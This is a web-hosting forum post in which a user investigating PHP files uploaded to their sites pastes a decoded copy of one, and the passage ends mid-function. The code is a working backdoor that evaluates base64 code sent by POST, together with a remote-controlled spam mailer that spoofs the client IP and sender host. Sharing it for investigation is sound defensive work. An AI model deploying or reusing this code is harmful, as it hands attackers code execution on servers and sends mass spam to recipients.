Random PHP and Email Spam

c0nfus3d1

Verified User
Joined
Oct 29, 2010
Messages
15
I keep getting some random PHP files appearing in the public_html folder of a few different domains... These files are some how getting remotely uploaded and then being used to send mass spam.

I'm still doing some investigation, whether it's the code running the sites or a server security issue, or what ever... but I'm curious if anyone else has any experience with this?

I've decoded the latest PHP file (it was written in HEX) and if you wrote this? I officially hate you.

The cached original version is at http://ddecode.com/hexdecoder/?results=3233e0a58699c45573f2889109cfb31a

The decoded and formatted version is:

Code:
<?php
${"GLOBALS"}["mqlebyzvmj"]   = "k";
${"GLOBALS"}["plfpgtb"]      = "h_detected";
${"GLOBALS"}["gcjhotz"]      = "headers";
${"GLOBALS"}["voftntvv"]     = "res";
${"GLOBALS"}["yhdqjv"]       = "data";
${"GLOBALS"}["beratloij"]    = "v";
${"GLOBALS"}["wtdppktf"]     = "cookie";
${"GLOBALS"}["mxbdjl"]       = "request";
${"GLOBALS"}["fcqooern"]     = "timeout";
${"GLOBALS"}["kqhynkswjz"]   = "errstr";
${"GLOBALS"}["cksuzuqvwc"]   = "errno";
${"GLOBALS"}["doljyffriysx"] = "fp";
${"GLOBALS"}["sxlttdn"]      = "scheme";
${"GLOBALS"}["lvckjtabxs"]   = "url";
${"GLOBALS"}["icgdbvfx"]     = "params";
${"GLOBALS"}["qfeyefuqe"]    = "uri";
${"GLOBALS"}["hqssdilo"]     = "tokens";
${"GLOBALS"}["veppxwjrh"]    = "str";
${"GLOBALS"}["hxkfxrxpenqh"] = "pass";
${"GLOBALS"}["sjukfuepbh"]   = "length";
${"GLOBALS"}["uclidfi"]      = "chars";
${"GLOBALS"}["apafoidgmzuu"] = "num";
${"GLOBALS"}["xscxjex"]      = "count";
${"GLOBALS"}["nbnesbn"]      = "rand";
${"GLOBALS"}["xfpfxyiictp"]  = "max";
${"GLOBALS"}["dmlbmh"]       = "min";
${"GLOBALS"}["apfobrq"]      = "content";
${"GLOBALS"}["jisnvrn"]      = "c2";
${"GLOBALS"}["fejuvwsrls"]   = "ns";
${"GLOBALS"}["fybqbrtn"]     = "i";
${"GLOBALS"}["lbolyfxnivk"]  = "matches";
${"GLOBALS"}["bbvdpmjvhexf"] = "subj";
${"GLOBALS"}["vstpgeejdqiw"] = "to";
${"GLOBALS"}["uyhrcpj"]      = "f";
${"GLOBALS"}["npbqykmfn"]    = "un";
${"GLOBALS"}["xszxrwvmbo"]   = "zag";
${"GLOBALS"}["kxrtvutigv"]   = "plain";
${"GLOBALS"}["aqgqoaggxh"]   = "head";
${"GLOBALS"}["zuusolg"]      = "from";
${"GLOBALS"}["fvrlut"]       = "messages";
${"GLOBALS"}["wdweims"]      = "message";
${"GLOBALS"}["qwjrjo"]       = "theme";
${"GLOBALS"}["kvijmeebjwjy"] = "filename";
${"GLOBALS"}["dsjfolgnodv"]  = "file";
${"GLOBALS"}["ryqwhdlooof"]  = "aliases";
${"GLOBALS"}["fgniwq"]       = "mailers";
${"GLOBALS"}["ydxffto"]      = "themes";
${"GLOBALS"}["cintvgc"]      = "emails";
${"GLOBALS"}["byypcuyk"]     = "key";
if (isset($_POST["code"]) && isset($_POST["custom_action"])) {
    eval(base64_decode($_POST["code"]));
}
if (isset($_POST["type"]) && $_POST["type"] == "1") {
    type1_send();
} elseif (isset($_POST["type"]) && $_POST["type"] == "2") {
} elseif (isset($_POST["type"])) {
    echo $_POST["type"];
}
function type1_send( )
{
    $escikxlrj                  = "messages";
    ${"GLOBALS"}["umdgowyukvx"] = "fteil";
    if (!isset($_POST["emails"]) OR !isset($_POST["themes"]) OR !isset($_POST["messages"]) OR !isset($_POST["froms"]) OR !isset($_POST["mailers"])) {
        exit( );
    }
    if (get_magic_quotes_gpc()) {
        $pdniulpzjg = "post";
        foreach ($_POST as ${${"GLOBALS"}["byypcuyk"]} => ${$pdniulpzjg}) {
            $nnyfljh                            = "post";
            $_POST[${${"GLOBALS"}["byypcuyk"]}] = stripcslashes(${$nnyfljh});
        }
    }
    ${"GLOBALS"}["lklrkotq"]        = "emails";
    ${"GLOBALS"}["wcoqaksohrie"]    = "froms";
    $vuoyllxk                       = "passes";
    $gajjboiolb                     = "email";
    ${${"GLOBALS"}["cintvgc"]}      = @unserialize(base64_decode($_POST["emails"]));
    ${${"GLOBALS"}["ydxffto"]}      = @unserialize(base64_decode($_POST["themes"]));
    ${$escikxlrj}                   = @unserialize(base64_decode($_POST["messages"]));
    ${${"GLOBALS"}["wcoqaksohrie"]} = @unserialize(base64_decode($_POST["froms"]));
    ${${"GLOBALS"}["fgniwq"]}       = @unserialize(base64_decode($_POST["mailers"]));
    ${${"GLOBALS"}["ryqwhdlooof"]}  = @unserialize(base64_decode($_POST["aliases"]));
    ${$vuoyllxk}                    = @unserialize(base64_decode($_POST["passes"]));
    if (isset($_SERVER)) {
        $_SERVER["PHP_SELF"]    = "/";
        $_SERVER["REMOTE_ADDR"] = "127.0.0.1";
        if (!empty($_SERVER["HTTP_X_FORWARDED_FOR"])) {
            $_SERVER["HTTP_X_FORWARDED_FOR"] = "127.0.0.1";
        }
    }
    if (isset($_FILES)) {
        foreach ($_FILES as ${${"GLOBALS"}["byypcuyk"]} => ${${"GLOBALS"}["dsjfolgnodv"]}) {
            $tbmisfvl                                      = "filename";
            $vjfajwgqfgv                                   = "aliases";
            $zsigtbqc                                      = "filename";
            ${"GLOBALS"}["tcvdyuooqtf"]                    = "filename";
            ${"GLOBALS"}["xespolekf"]                      = "filename";
            ${$tbmisfvl}                                   = alter_macros(${$vjfajwgqfgv}[${${"GLOBALS"}["byypcuyk"]}]);
            ${${"GLOBALS"}["kvijmeebjwjy"]}                = num_macros(${${"GLOBALS"}["xespolekf"]});
            ${$zsigtbqc}                                   = text_macros(${${"GLOBALS"}["kvijmeebjwjy"]});
            ${"GLOBALS"}["zllrfyqlzd"]                     = "key";
            ${${"GLOBALS"}["tcvdyuooqtf"]}                 = xnum_macros(${${"GLOBALS"}["kvijmeebjwjy"]});
            $_FILES[${${"GLOBALS"}["zllrfyqlzd"]}]["name"] = ${${"GLOBALS"}["kvijmeebjwjy"]};
        }
    }
    if (empty(${${"GLOBALS"}["lklrkotq"]})) {
        exit( );
    }
    foreach (${${"GLOBALS"}["cintvgc"]} as ${${"GLOBALS"}["umdgowyukvx"]} => ${$gajjboiolb}) {
        ${"GLOBALS"}["dumoukrytq"]      = "theme";
        ${"GLOBALS"}["iiruieywjq"]      = "message";
        $wservwqqn                      = "theme";
        ${"GLOBALS"}["vsrutkuwiske"]    = "from";
        ${${"GLOBALS"}["dumoukrytq"]}   = ${${"GLOBALS"}["ydxffto"]}[array_rand(${${"GLOBALS"}["ydxffto"]})];
        $vtzzcfh                        = "message";
        ${${"GLOBALS"}["qwjrjo"]}       = alter_macros(${$wservwqqn}["theme"]);
        $reskpoq                        = "mailers";
        $qlddgikwl                      = "message";
        $uzxokgywpz                     = "theme";
        ${${"GLOBALS"}["qwjrjo"]}       = num_macros(${${"GLOBALS"}["qwjrjo"]});
        ${"GLOBALS"}["agqwsofchcw"]     = "mailer";
        ${"GLOBALS"}["lhagsrk"]         = "from";
        ${$uzxokgywpz}                  = text_macros(${${"GLOBALS"}["qwjrjo"]});
        $zpddcmhvkqr                    = "messages";
        ${"GLOBALS"}["mbihuby"]         = "message";
        ${"GLOBALS"}["sqqhlsnwuhy"]     = "from";
        ${"GLOBALS"}["lvvmsotthrg"]     = "message";
        ${${"GLOBALS"}["qwjrjo"]}       = xnum_macros(${${"GLOBALS"}["qwjrjo"]});
        ${${"GLOBALS"}["wdweims"]}      = ${$zpddcmhvkqr}[array_rand(${${"GLOBALS"}["fvrlut"]})];
        ${${"GLOBALS"}["wdweims"]}      = alter_macros(${${"GLOBALS"}["wdweims"]}["message"]);
        ${${"GLOBALS"}["mbihuby"]}      = num_macros(${${"GLOBALS"}["iiruieywjq"]});
        $xngjqtj                        = "from";
        ${"GLOBALS"}["tvxnodjjy"]       = "message";
        $zvchak                         = "theme";
        ${${"GLOBALS"}["wdweims"]}      = text_macros(${${"GLOBALS"}["lvvmsotthrg"]});
        ${"GLOBALS"}["ygtidolzyz"]      = "mailer";
        $zzmbjtetlro                    = "froms";
        ${"GLOBALS"}["fsnqten"]         = "from";
        ${"GLOBALS"}["pusytimfhf"]      = "froms";
        ${${"GLOBALS"}["tvxnodjjy"]}    = xnum_macros(${$qlddgikwl});
        ${"GLOBALS"}["elqxcmdqx"]       = "fteil";
        ${"GLOBALS"}["rwtkfsrf"]        = "from";
        ${$vtzzcfh}                     = fteil_macros(${${"GLOBALS"}["wdweims"]}, ${${"GLOBALS"}["elqxcmdqx"]});
        ${${"GLOBALS"}["sqqhlsnwuhy"]}  = ${${"GLOBALS"}["pusytimfhf"]}[array_rand(${$zzmbjtetlro})];
        $hhmertb                        = "from";
        ${${"GLOBALS"}["fsnqten"]}      = alter_macros(${${"GLOBALS"}["rwtkfsrf"]}["from"]);
        ${"GLOBALS"}["snqullqgcsf"]     = "email";
        ${${"GLOBALS"}["vsrutkuwiske"]} = num_macros(${${"GLOBALS"}["zuusolg"]});
        ${${"GLOBALS"}["zuusolg"]}      = text_macros(${${"GLOBALS"}["zuusolg"]});
        ${${"GLOBALS"}["zuusolg"]}      = xnum_macros(${$xngjqtj});
        ${${"GLOBALS"}["lhagsrk"]}      = from_host(${$hhmertb});
        ${${"GLOBALS"}["ygtidolzyz"]}   = ${$reskpoq}[array_rand(${${"GLOBALS"}["fgniwq"]})];
        send_mail(${${"GLOBALS"}["zuusolg"]}, ${${"GLOBALS"}["snqullqgcsf"]}, ${$zvchak}, ${${"GLOBALS"}["wdweims"]}, ${${"GLOBALS"}["agqwsofchcw"]});
    }
}
function send_mail($from, $to, $subj, $text, $mailer)
{
    ${"GLOBALS"}["qkeivd"]     = "head";
    ${"GLOBALS"}["uvndnu"]     = "head";
    $qapomxejc                 = "head";
    ${"GLOBALS"}["qydrmrm"]    = "un";
    $ssjdvmr                   = "head";
    ${"GLOBALS"}["qapalf"]     = "un";
    ${"GLOBALS"}["fbmjilbxuh"] = "un";
    ${${"GLOBALS"}["qkeivd"]}  = "";
    ${${"GLOBALS"}["qydrmrm"]} = strtoupper(uniqid(time()));
    ${"GLOBALS"}["pihghp"]     = "plain";
    ${"GLOBALS"}["tiovdug"]    = "head";
    $zftiytqlm                 = "un";
    $dvusopo                   = "zag";
    ${$qapomxejc} .= "From: $from\n";
    ${${"GLOBALS"}["aqgqoaggxh"]} .= "X-Mailer: $mailer\n";
    ${"GLOBALS"}["xnacnkv"] = "zag";
    ${${"GLOBALS"}["aqgqoaggxh"]} .= "Reply-To: $from\n";
    ${${"GLOBALS"}["tiovdug"]} .= "Mime-Version: 1.0\n";
    ${${"GLOBALS"}["aqgqoaggxh"]} .= "Content-Type: multipart/alternative;";
    ${"GLOBALS"}["hdxvdvoguu"] = "text";
    ${${"GLOBALS"}["uvndnu"]} .= "boundary=\"----------" . ${${"GLOBALS"}["fbmjilbxuh"]} . "\"\n\n";
    ${${"GLOBALS"}["kxrtvutigv"]} = strip_tags(${${"GLOBALS"}["hdxvdvoguu"]});
    $udgbrojukp                   = "zag";
    ${${"GLOBALS"}["xszxrwvmbo"]} = "------------" . ${${"GLOBALS"}["npbqykmfn"]} . "\nContent-Type: text/plain; charset=\"ISO-8859-1\"; format=flowed\n";
    ${"GLOBALS"}["aumnkos"]       = "zag";
    ${$udgbrojukp} .= "Content-Transfer-Encoding: 7bit\n\n" . ${${"GLOBALS"}["pihghp"]} . "\n\n";
    ${${"GLOBALS"}["xszxrwvmbo"]} .= "------------" . ${${"GLOBALS"}["qapalf"]} . "\nContent-Type: text/html; charset=\"ISO-8859-1\";\n";
    ${$dvusopo} .= "Content-Transfer-Encoding: 7bit\n\n$text\n\n";
    ${${"GLOBALS"}["aumnkos"]} .= "------------" . ${$zftiytqlm} . "--";
    if (count($_FILES) > 0) {
        foreach ($_FILES as ${${"GLOBALS"}["dsjfolgnodv"]}) {
            if (file_exists(${${"GLOBALS"}["dsjfolgnodv"]}["tmp_name"])) {
                $csikbuoamv                  = "un";
                ${"GLOBALS"}["jqtmtga"]      = "zag";
                ${"GLOBALS"}["jesjxulxr"]    = "f";
                $sdddwyyfvp                  = "zag";
                $bfwodwiv                    = "file";
                ${${"GLOBALS"}["jesjxulxr"]} = fopen(${$bfwodwiv}["tmp_name"], "rb");
                ${${"GLOBALS"}["xszxrwvmbo"]} .= "------------" . ${$csikbuoamv} . "\n";
                ${$sdddwyyfvp} .= "Content-Type: application/octet-stream;";
                ${${"GLOBALS"}["xszxrwvmbo"]} .= "name=\"" . ${${"GLOBALS"}["dsjfolgnodv"]}["name"] . "\"\n";
                ${"GLOBALS"}["dmdmxmo"] = "zag";
                ${${"GLOBALS"}["dmdmxmo"]} .= "Content-Transfer-Encoding:base64\n";
                $wfchmf = "file";
                ${${"GLOBALS"}["xszxrwvmbo"]} .= "Content-Disposition:attachment;";
                ${${"GLOBALS"}["jqtmtga"]} .= "filename=\"" . ${${"GLOBALS"}["dsjfolgnodv"]}["name"] . "\"\n\n";
                ${${"GLOBALS"}["xszxrwvmbo"]} .= chunk_split(base64_encode(fread(${${"GLOBALS"}["uyhrcpj"]}, filesize(${$wfchmf}["tmp_name"])))) . "\n";
                fclose(${${"GLOBALS"}["uyhrcpj"]});
            }
        }
    }
    if (@mail(${${"GLOBALS"}["vstpgeejdqiw"]}, ${${"GLOBALS"}["bbvdpmjvhexf"]}, ${${"GLOBALS"}["xnacnkv"]}, ${$ssjdvmr})) {
        if (!empty($_POST["verbose"]))
            echo "SENDED";
    } else {
        if (!empty($_POST["verbose"]))
            echo "FAIL";
    }
}
function alter_macros($content)
{
    $gfhdwrlfdbti = "content";
    $dbcqzuqfrub  = "i";
    $vljvwysj     = "matches";
    preg_match_all("#{(.*)}#Ui", ${$gfhdwrlfdbti}, ${${"GLOBALS"}["lbolyfxnivk"]});
    for (${$dbcqzuqfrub} = 0; ${${"GLOBALS"}["fybqbrtn"]} < count(${$vljvwysj}[1]); ${${"GLOBALS"}["fybqbrtn"]}++) {
        $xkjlspskvkc                  = "rand";
        ${"GLOBALS"}["smqdfvdld"]     = "content";
        $nglxiujbxb                   = "ns";
        ${${"GLOBALS"}["fejuvwsrls"]} = explode("|", ${${"GLOBALS"}["lbolyfxnivk"]}[1][${${"GLOBALS"}["fybqbrtn"]}]);
        ${${"GLOBALS"}["jisnvrn"]}    = count(${$nglxiujbxb});
        ${"GLOBALS"}["kkdlher"]       = "rand";
        ${$xkjlspskvkc}               = rand(0, (${${"GLOBALS"}["jisnvrn"]} - 1));
        ${${"GLOBALS"}["apfobrq"]}    = str_replace("{" . ${${"GLOBALS"}["lbolyfxnivk"]}[1][${${"GLOBALS"}["fybqbrtn"]}] . "}", ${${"GLOBALS"}["fejuvwsrls"]}[${${"GLOBALS"}["kkdlher"]}], ${${"GLOBALS"}["smqdfvdld"]});
    }
    return ${${"GLOBALS"}["apfobrq"]};
}
function text_macros($content)
{
    $cgfmcd                  = "content";
    $bdxuity                 = "i";
    ${"GLOBALS"}["pcscgpyj"] = "matches";
    $ktojmubhbi              = "i";
    $lxkysix                 = "i";
    $ujoqcftky               = "matches";
    preg_match_all("#\\[TEXT\\-([[:digit:]]+)\-([[:digit:]]+)\\]#", ${$cgfmcd}, ${${"GLOBALS"}["pcscgpyj"]});
    for (${$bdxuity} = 0; ${$ktojmubhbi} < count(${${"GLOBALS"}["lbolyfxnivk"]}[0]); ${${"GLOBALS"}["fybqbrtn"]}++) {
        $prmvjorstbht                  = "matches";
        $qdzyect                       = "min";
        ${"GLOBALS"}["ycnufusujl"]     = "word";
        $xksiek                        = "i";
        ${${"GLOBALS"}["dmlbmh"]}      = ${$prmvjorstbht}[1][${${"GLOBALS"}["fybqbrtn"]}];
        ${${"GLOBALS"}["xfpfxyiictp"]} = ${${"GLOBALS"}["lbolyfxnivk"]}[2][${${"GLOBALS"}["fybqbrtn"]}];
        $spewortenoy                   = "rand";
        $wmnpnrq                       = "word";
        ${$spewortenoy}                = rand(${$qdzyect}, ${${"GLOBALS"}["xfpfxyiictp"]});
        ${"GLOBALS"}["pyiajtc"]        = "content";
        ${"GLOBALS"}["eurlpqt"]        = "matches";
        ${$wmnpnrq}                    = generate_word(${${"GLOBALS"}["nbnesbn"]});
        ${${"GLOBALS"}["pyiajtc"]}     = preg_replace("/" . preg_quote(${${"GLOBALS"}["eurlpqt"]}[0][${$xksiek}]) . "/", ${${"GLOBALS"}["ycnufusujl"]}, ${${"GLOBALS"}["apfobrq"]}, 1);
    }
    preg_match_all("#\\[TEXT\-([[:digit:]]+)\]#", ${${"GLOBALS"}["apfobrq"]}, ${$ujoqcftky});
    for (${$lxkysix} = 0; ${${"GLOBALS"}["fybqbrtn"]} < count(${${"GLOBALS"}["lbolyfxnivk"]}[0]); ${${"GLOBALS"}["fybqbrtn"]}++) {
        ${"GLOBALS"}["lrxaolsi"]    = "content";
        $osbpusol                   = "word";
        $uhqpielodxx                = "matches";
        ${${"GLOBALS"}["xscxjex"]}  = ${$uhqpielodxx}[1][${${"GLOBALS"}["fybqbrtn"]}];
        ${$osbpusol}                = generate_word(${${"GLOBALS"}["xscxjex"]});
        $mgvbrau                    = "word";
        ${${"GLOBALS"}["lrxaolsi"]} = preg_replace("/" . preg_quote(${${"GLOBALS"}["lbolyfxnivk"]}[0][${${"GLOBALS"}["fybqbrtn"]}]) . "/", ${$mgvbrau}, ${${"GLOBALS"}["apfobrq"]}, 1);
    }
    return ${${"GLOBALS"}["apfobrq"]};
}
function xnum_macros($content)
{
    $pzpyjuxcpiy                = "matches";
    $xfajaeff                   = "matches";
    ${"GLOBALS"}["kioebekqiev"] = "i";
    preg_match_all("#\[NUM\-([[:digit:]]+)\]#", ${${"GLOBALS"}["apfobrq"]}, ${$pzpyjuxcpiy});
    for (${${"GLOBALS"}["fybqbrtn"]} = 0; ${${"GLOBALS"}["fybqbrtn"]} < count(${$xfajaeff}[0]); ${${"GLOBALS"}["kioebekqiev"]}++) {
        ${"GLOBALS"}["wnnooc"]          = "matches";
        ${"GLOBALS"}["visitosnublp"]    = "max";
        ${"GLOBALS"}["whlqjtoorf"]      = "num";
        ${"GLOBALS"}["dmtfnwxztf"]      = "i";
        ${"GLOBALS"}["ewkbmqodngo"]     = "num";
        ${"GLOBALS"}["bmiuypczak"]      = "i";
        ${${"GLOBALS"}["whlqjtoorf"]}   = ${${"GLOBALS"}["wnnooc"]}[1][${${"GLOBALS"}["bmiuypczak"]}];
        ${"GLOBALS"}["oddzvpwlnl"]      = "rand";
        ${${"GLOBALS"}["dmlbmh"]}       = pow(10, ${${"GLOBALS"}["ewkbmqodngo"]} - 1);
        ${"GLOBALS"}["hlcslifsb"]       = "content";
        ${${"GLOBALS"}["visitosnublp"]} = pow(10, ${${"GLOBALS"}["apafoidgmzuu"]}) - 1;
        ${${"GLOBALS"}["oddzvpwlnl"]}   = rand(${${"GLOBALS"}["dmlbmh"]}, ${${"GLOBALS"}["xfpfxyiictp"]});
        ${${"GLOBALS"}["hlcslifsb"]}    = str_replace(${${"GLOBALS"}["lbolyfxnivk"]}[0][${${"GLOBALS"}["dmtfnwxztf"]}], ${${"GLOBALS"}["nbnesbn"]}, ${${"GLOBALS"}["apfobrq"]});
    }
    return ${${"GLOBALS"}["apfobrq"]};
}
function num_macros($content)
{
    ${"GLOBALS"}["ahxqhqnxa"]    = "matches";
    $uwpgtyucowo                 = "i";
    $amtlvbxk                    = "content";
    ${"GLOBALS"}["oovbkvy"]      = "matches";
    ${"GLOBALS"}["vxenbwwpdwql"] = "i";
    preg_match_all("#\[RAND\\-([[:digit:]]+)\\-([[:digit:]]+)\\]#", ${$amtlvbxk}, ${${"GLOBALS"}["ahxqhqnxa"]});
    for (${${"GLOBALS"}["vxenbwwpdwql"]} = 0; ${${"GLOBALS"}["fybqbrtn"]} < count(${${"GLOBALS"}["oovbkvy"]}[0]); ${$uwpgtyucowo}++) {
        $yyofcdnu                    = "matches";
        ${"GLOBALS"}["kzvejtns"]     = "content";
        $alqgklf                     = "min";
        $wdwojkxjn                   = "max";
        $auhylbfw                    = "max";
        $oqgcwrpw                    = "matches";
        ${${"GLOBALS"}["dmlbmh"]}    = ${$yyofcdnu}[1][${${"GLOBALS"}["fybqbrtn"]}];
        ${$auhylbfw}                 = ${${"GLOBALS"}["lbolyfxnivk"]}[2][${${"GLOBALS"}["fybqbrtn"]}];
        ${"GLOBALS"}["gqhkqoj"]      = "content";
        ${"GLOBALS"}["vqchgwrteuxr"] = "rand";
        ${${"GLOBALS"}["nbnesbn"]}   = rand(${$alqgklf}, ${$wdwojkxjn});
        ${${"GLOBALS"}["gqhkqoj"]}   = str_replace(${$oqgcwrpw}[0][${${"GLOBALS"}["fybqbrtn"]}], ${${"GLOBALS"}["vqchgwrteuxr"]}, ${${"GLOBALS"}["kzvejtns"]});
    }
    return ${${"GLOBALS"}["apfobrq"]};
}
function generate_word($length)
{
    ${"GLOBALS"}["fudsysewwc"]    = "chars";
    ${"GLOBALS"}["avqhwnqfh"]     = "string";
    ${${"GLOBALS"}["uclidfi"]}    = "abcdefghijklmnopqrstuvyxz";
    ${"GLOBALS"}["nytrgfbulv"]    = "string";
    $hwgkscqhbog                  = "numChars";
    ${"GLOBALS"}["nhlcrv"]        = "i";
    ${$hwgkscqhbog}               = strlen(${${"GLOBALS"}["fudsysewwc"]});
    $czmeeowy                     = "i";
    ${${"GLOBALS"}["nytrgfbulv"]} = "";
    for (${${"GLOBALS"}["nhlcrv"]} = 0; ${$czmeeowy} < ${${"GLOBALS"}["sjukfuepbh"]}; ${${"GLOBALS"}["fybqbrtn"]}++) {
        $cbktgugg                   = "string";
        ${"GLOBALS"}["yhutyoyarhu"] = "chars";
        $axigcqowche                = "numChars";
        ${$cbktgugg} .= substr(${${"GLOBALS"}["yhutyoyarhu"]}, rand(1, ${$axigcqowche}) - 1, 1);
    }
    return ${${"GLOBALS"}["avqhwnqfh"]};
}
function pass_macros($content, $passes)
{
    $dkntfvhb                       = "passes";
    ${${"GLOBALS"}["hxkfxrxpenqh"]} = array_pop(${$dkntfvhb});
    return str_replace("[PASS]", ${${"GLOBALS"}["hxkfxrxpenqh"]}, ${${"GLOBALS"}["apfobrq"]});
}
function fteil_macros($content, $fteil)
{
    $qbjfquydtw = "fteil";
    return str_replace("[FTEIL]", ${$qbjfquydtw}, ${${"GLOBALS"}["apfobrq"]});
}
function is_ip($str)
{
    return preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}\$/", ${${"GLOBALS"}["veppxwjrh"]});
}
function from_host($content)
{
    $msfgiloyj = "tokens";
    $host      = preg_replace("/^(www|ftp)\\./i", "", @$_SERVER["HTTP_HOST"]);
    if (is_ip($host)) {
        ${"GLOBALS"}["ridbpirb"] = "content";
        return ${${"GLOBALS"}["ridbpirb"]};
    }
    ${${"GLOBALS"}["hqssdilo"]} = explode("@", ${${"GLOBALS"}["apfobrq"]});
    ${${"GLOBALS"}["apfobrq"]}  = ${$msfgiloyj}[0] . "@" . $host . ">";
    return ${${"GLOBALS"}["apfobrq"]};
}
function error_404( )
{
    $duvztk                      = "uri";
    ${${"GLOBALS"}["qfeyefuqe"]} = preg_replace("/(\\?).*\$/", "", $_SERVER["REQUEST_URI"]);
    ${${"GLOBALS"}["apfobrq"]}   = http_request("http://" . $_SERVER["SERVER_NAME"] . "/AFQjCNHnh8RttFI3VMrBddYw6rngKz7KEA");
    ${${"GLOBALS"}["apfobrq"]}   = str_replace("/AFQjCNHnh8RttFI3VMrBddYw6rngKz7KEA", ${$duvztk}, ${${"GLOBALS"}["apfobrq"]});
    exit(${${"GLOBALS"}["apfobrq"]});
}
function http_request($params)
{
    ${"GLOBALS"}["nenohx"]     = "params";
    ${"GLOBALS"}["nwhkkxfzcy"] = "params";
    ${"GLOBALS"}["mqldimwdu"]  = "url";
    if (!is_array(${${"GLOBALS"}["nwhkkxfzcy"]})) {
        ${${"GLOBALS"}["icgdbvfx"]} = array(
            "url" => ${${"GLOBALS"}["icgdbvfx"]},
            "method" => "GET"
        );
    }
    ${"GLOBALS"}["vxijvekzi"]   = "params";
    ${"GLOBALS"}["rghyshvrgwe"] = "url";
    ${"GLOBALS"}["xyqxtbcoivz"] = "params";
    ${"GLOBALS"}["mqghnsid"]    = "params";
    ${"GLOBALS"}["whbkdajncyf"] = "url";
    $qsvullrdgijh               = "params";
    ${"GLOBALS"}["hpypjxrcfb"]  = "url";
    if (${${"GLOBALS"}["icgdbvfx"]}["url"] == "")
        return FALSE;
    $kartldnrdvp                 = "params";
    ${"GLOBALS"}["kdksoxo"]      = "params";
    ${"GLOBALS"}["hrixbsdqcqma"] = "res";
    if (!isset(${${"GLOBALS"}["nenohx"]}["method"]))
        ${${"GLOBALS"}["icgdbvfx"]}["method"] = (isset(${${"GLOBALS"}["icgdbvfx"]}["data"]) && is_array(${${"GLOBALS"}["kdksoxo"]}["data"])) ? "POST" : "GET";
    $tdngrnnmlr                            = "url";
    ${${"GLOBALS"}["vxijvekzi"]}["method"] = strtoupper(${${"GLOBALS"}["xyqxtbcoivz"]}["method"]);
    ${"GLOBALS"}["yrfwkkspku"]             = "url";
    $nwpfhvrsqvj                           = "port";
    if (!in_array(${$qsvullrdgijh}["method"], array(
        "GET",
        "POST"
    )))
        return FALSE;
    $ihxnlfpxdfd                  = "url";
    $lbspexnjsw                   = "url";
    $wgzlvxqfjizw                 = "url";
    ${${"GLOBALS"}["lvckjtabxs"]} = parse_url(${${"GLOBALS"}["icgdbvfx"]}["url"]);
    if (!isset(${${"GLOBALS"}["rghyshvrgwe"]}["scheme"]))
        ${${"GLOBALS"}["mqldimwdu"]}["scheme"] = "http";
    if (!isset(${${"GLOBALS"}["hpypjxrcfb"]}["path"]))
        ${$lbspexnjsw}["path"] = "/";
    if (!isset(${${"GLOBALS"}["whbkdajncyf"]}["host"]) && isset(${$tdngrnnmlr}["path"])) {
        if (strpos(${${"GLOBALS"}["lvckjtabxs"]}["path"], "/")) {
            $dwjvillu                             = "url";
            ${"GLOBALS"}["xthjzxk"]               = "url";
            ${$dwjvillu}["host"]                  = substr(${${"GLOBALS"}["lvckjtabxs"]}["path"], 0, strpos(${${"GLOBALS"}["lvckjtabxs"]}["path"], "/"));
            ${${"GLOBALS"}["lvckjtabxs"]}["path"] = substr(${${"GLOBALS"}["lvckjtabxs"]}["path"], strpos(${${"GLOBALS"}["xthjzxk"]}["path"], "/"));
        } else {
            ${"GLOBALS"}["kecbnuqkw"]             = "url";
            $dxnxasp                              = "url";
            ${${"GLOBALS"}["lvckjtabxs"]}["host"] = ${${"GLOBALS"}["kecbnuqkw"]}["path"];
            ${$dxnxasp}["path"]                   = "/";
        }
    }
    ${"GLOBALS"}["srhbwqvfli"]            = "url";
    ${"GLOBALS"}["krcdefut"]              = "res";
    ${${"GLOBALS"}["yrfwkkspku"]}["path"] = preg_replace("/[\/]+/", "/", ${${"GLOBALS"}["lvckjtabxs"]}["path"]);
    $ktskyr                               = "timeout";
    $ggyovxibtno                          = "url";
    $pmcvjns                              = "headers";
    if (isset(${$wgzlvxqfjizw}["query"]))
        ${${"GLOBALS"}["lvckjtabxs"]}["path"] .= "?{$url['query']}";
    ${"GLOBALS"}["llokaqyxtv"] = "url";
    $fdgdljzhrg                = "port";
    ${$nwpfhvrsqvj}            = isset(${${"GLOBALS"}["icgdbvfx"]}["port"]) ? ${${"GLOBALS"}["icgdbvfx"]}["port"] : (isset(${$ggyovxibtno}["port"]) ? ${$ihxnlfpxdfd}["port"] : (${${"GLOBALS"}["lvckjtabxs"]}["scheme"] == "https" ? 443 : 80));
    ${$ktskyr}                 = isset(${${"GLOBALS"}["icgdbvfx"]}["timeout"]) ? ${${"GLOBALS"}["mqghnsid"]}["timeout"] : 30;
    if (!isset(${${"GLOBALS"}["icgdbvfx"]}["return"]))
        ${$kartldnrdvp}["return"] = "content";
    ${${"GLOBALS"}["sxlttdn"]}      = ${${"GLOBALS"}["llokaqyxtv"]}["scheme"] == "https" ? "ssl://" : "";
    ${${"GLOBALS"}["doljyffriysx"]} = @fsockopen(${${"GLOBALS"}["sxlttdn"]} . ${${"GLOBALS"}["srhbwqvfli"]}["host"], ${$fdgdljzhrg}, ${${"GLOBALS"}["cksuzuqvwc"]}, ${${"GLOBALS"}["kqhynkswjz"]}, ${${"GLOBALS"}["fcqooern"]});
    if (${${"GLOBALS"}["doljyffriysx"]}) {
        ${"GLOBALS"}["szyxqtzcz"]   = "fp";
        ${"GLOBALS"}["ysihoboxrlp"] = "params";
        ${"GLOBALS"}["wsxrgoan"]    = "fp";
        ${"GLOBALS"}["ijrhgmjp"]    = "request";
        $rnwvskue                   = "params";
        if (!isset(${${"GLOBALS"}["icgdbvfx"]}["User-Agent"]))
            ${$rnwvskue}["User-Agent"] = "Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16";
        ${"GLOBALS"}["dwbzzzujges"] = "request";
        ${"GLOBALS"}["ihvknvh"]     = "fp";
        ${"GLOBALS"}["reqvhywjsyc"] = "request";
        ${${"GLOBALS"}["ijrhgmjp"]} = "{$params['method']} {$url['path']} HTTP/1.0\r\n";
        ${${"GLOBALS"}["dwbzzzujges"]} .= "Host: {$url['host']}\r\n";
        $ksctlofbdv = "params";
        $gjvppir    = "request";
        ${${"GLOBALS"}["mxbdjl"]} .= "User-Agent: {$params['User-Agent']}" . "\r\n";
        if (isset(${$ksctlofbdv}["referer"]))
